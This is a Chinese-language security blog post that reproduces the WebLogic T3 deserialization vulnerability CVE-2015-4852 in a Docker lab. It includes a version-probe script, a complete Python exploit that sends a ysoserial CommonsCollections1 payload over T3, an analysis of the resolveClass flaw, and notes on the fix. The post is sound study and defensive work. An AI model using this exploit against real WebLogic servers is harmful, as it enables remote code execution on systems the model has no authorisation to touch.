WebLogic T3 反序列化
发表于:2025-07-19 | 分类: 漏洞复现

CVE-2015-4852 WebLogic T3 反序列化分析

前言

之前见过好多次WebLogic的漏洞,但是一直没来得及学(其实是懒),这段时间有来学习一下

环境搭建

构建镜像

环境配置中JDK版本和Weblogic版本如下
  • JDK7u21
  • WebLogic1036

环境的搭建使用 QAX A-team中提供的脚本:https://github.com/QAX-A-Team/WeblogicEnvironment?tab=readme-ov-file

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html

WebLogic安装包下载地址:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar

下载好后,分别将JDK和WebLogic放入jdks和Weblogics文件夹下

然后使用docker进行构建和运行,命令如下(我在运行时,一直启动不起来,通过查看日志发现,内存不够,因此添加了参数--ulimit nofile=65536:65536 --ulimit nproc=4096

1
2
3
4
5
//构建
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
//运行
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --ulimit nofile=65536:65536 --ulimit nproc=4096 --name weblogic1036jdk7u21 weblogic1036jdk7u21
2d9df0504ce2dbb7b1070db8bec8e6cd5596532c38a13a3d86d635562bf8f420

这样我们的环境就搭建好了

远程调试

如需远程调试,需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。

可以使用该项目自带的脚本进行快速环境搭建并复制远程调试需要用到的目录

1
2
3
4
chmod +x run_weblogic1036jdk7u21.sh
./run_weblogic1036jdk7u21.sh
//将/coherence_3.7/lib中的jar包也导出
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

将这两个文件夹传到我们的本机上,用IDEA打开wlserver文件夹,然后导入coherence_3.7/lib和modules

再把 server/lib 作为依赖进行导入

在运行/调试配置页面添加【远程JVM调试/Remote】,并修改端口和JDK版本

基础知识

WebLogic

Weblogic是一个基于JAVAEE架构的中间件,和Tomcat差不多,从功能上来说就是两个Web服务器,同时也是启动器。与Tomcat不同,Weblogic可以自己去部署很多东西,而Tomcat中都需要自己去写代码。

T3协议

T3协议是WebLogic中独有的一个协议,在Weblogic中RMI通信中使用的就是T3协议,而原生的RMI通信使用的是JRMP协议。RMI通信中,被传输的是一串序列化的数据,在这串数据被接受后,会执行反序列化的操作。

T3协议的特点有以下两点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常的心跳间隔是60秒,服务端在超过240秒未接收到心跳,即判定与客户端的连接丢失
  2. 通过建立一次连接,就可以将全部数据包传输完成,优化了数据包的大小和网络消耗

在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容

请求包头

请求包头的内容如下

1
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

我们使用py脚本,向Weblogic发送一个请求包的头,看一看会返回什么内容

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket

def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())

if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001

T3Test(ip,port)

用wireshark进行抓包,我们可以看到,在返回的内容中包含了webLogic的版本信息

因此我们可以通过发送WebLogic请求包头进行WebLogic的版本探测

请求主体

T3协议包请求主体的结构如下,第一部分为非JAVA序列化数据部分

下图则为T3协议包的内容,可以看到,除了第一部分,第二部分到第七部分,开头都是ac ed 00 05,很明显的Java序列化数据的头部标识,那么只要将其中一部分替换为我们的恶意序列化数据,即可触发我们构造的恶意Payload。

存在以下两种替换的方式:

  1. 将WebLogic发送的协议包中第二到第七部分Java序列化数据其中之一替换为恶意的序列化数据
  2. 将WebLogic发送的协议包中的第一部分与我们构造的恶意序列化数据进行拼接

漏洞复现

weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包,且我在搭建环境时,JDK环境版本为JDK7u21,因此这里可以用jdk7u21和cc1两条链,这里用创建文件的方式来检验反序列化是否成功

Poc构造

我们这里使用CC1的链子进行测试,Poc代码如下

我们只需要将头部信息与ysoserial生成的序列化数据进行拼接,然后发送给服务端即可(前四个字节要根据payload的总长度进行改变)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import binascii
import re
import socket
import struct
import subprocess

def weblogicExp(ip,port,payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("WebLogic:" + str(match) )
else:
print("NO WebLogic")
return

header = binascii.a2b_hex(b"00000000")
t3Header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3Header + desflag + payload

payload = struct.pack(">I",len(payload)) + payload[4:]
sock.sendall(payload)

def getPayload(gadget,cmd):
ysoPath = "ysoserial-all.jar"
popen = subprocess.Popen(['java','-jar',ysoPath,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()


if __name__ == "__main__":
ip = "192.168.111.128"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success.txt"
payload = getPayload(gadget,cmd)
weblogicExp(ip,port,payload)

查看容器里的/tmp目录,发现成功创建了success.txt文件

1
docker exec  weblogic1036jdk7u21 ls tmp/

Poc理解

PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。

  1. Header:代表了数据包的长度,需要根据数据包的变化而变化
  2. T3 Header:T3协议的头部数据
  3. 反序列化标志:fe 01 00 00

因此数据包的构造如下,且要修改根据数据包长度去修改前四个字节

1
2
3
4
5
6
header =  binascii.a2b_hex(b"00000000")
t3Header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3Header + desflag + payload

payload = struct.pack(">I",len(payload)) + payload[4:]

漏洞分析

影响版本

Oracle WebLogic Server:

  • 10.3.6.0,
  • 12.1.3.0,
  • 12.2.1.2
  • 12.2.1.3

代码调试

根据其他师傅的成果,可以知道反序列化的入口在`InboundMsgAbbrev#readObject`中,我们在该方法中下个断点进行调试
1
2
3
4
5
6
7
8
9
10
11
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {
int var2 = var1.read();
switch (var2) {
case 0:
return (new ServerChannelInputStream(var1)).readObject();
case 1:
return var1.readASCII();
default:
throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");
}
}

正常情况下,我们的var2参数为0,会走到case为0的情况

ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息

ServerChannelInputStream继承自ObjectInputStream类,这里重写了resolveClass,但是实际上调用的还是父类ObjectInputStreamresolveClass方法,等于没有做任何防御,导致漏洞的出现

回到InboundMsgAbbrev#readObject, 一路跟进至InboundMsgAbbrev#resolveClass()中,这里的调用栈如下

1
2
3
4
5
6
7
8
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)

resolveClass方法是用来处理类的,这些类在经过反序列化之后会走到resolveClass() 方法这里,这里的var1就是我们的AnnotationInvocationHandler

这里的AnnotationInvocationHandler类并不会直接被拿去反序列化,因为WebLogic服务器要先加载所有反序列化的内容,在所有数据反序列化解析完成后,才会进行真正的反序列化(类的初始化会推迟到首次主动使用时,如调用 obj.toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = Class.forPrimitiveName(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

WebLogic中自带CommonCollections3.2.0的依赖,反序列化的点和gadget就都有了。我们只需要利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了

漏洞修复

CVE-2015-4852修复

在前面的分析过程中,我们可以看到,加载类是通过resolveClass方法,再通过反射获取到任意类,因此官方选择了基于resolveCLass的黑名单校验

resolveClass处加一个过滤,如果匹配到了黑名单里面的类就会抛出异常,无法完成反序列化操作

在开放在外网的情况下,除了通过重写resolve进行黑名单校验的方法,还可以去采用以下两种方法:

  1. web代理:web代理的方式只能通过转发HTTP请求,而不会转发T3协议的请求
  2. 负载均衡:在负载均衡的情况下,可以指定需要进行负载均衡的协议类型,那么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

resolveClass的作用

resolve方法的作用是将类的序列化描述符加工成该类的Class对象

如下图,因为对应的Class对象是在resolveClass这返回的,因此这里是防御反序列化的关键。通过重写resolveClass方法,在该方法内添加一个黑名单进行校验,发现类在黑名单中就抛出错误,这样就无法获取恶意的Class对象。(但是黑名单的过滤效果是有限的)

其中webLogic反序列化的执行流程如下

小结

整体来说还是比较简单的,有之前学习的基础后,只需要理解T3协议的传输和T3协议包结构,就可以去构造恶意的Poc进行攻击。这个调试的过程很烦了,一直有问题,可以搭建在本地尝试…

上一篇:
CVE-2025-32462/32463Sudo提权
下一篇:
CVE-2025-6218 WinRAR路径穿越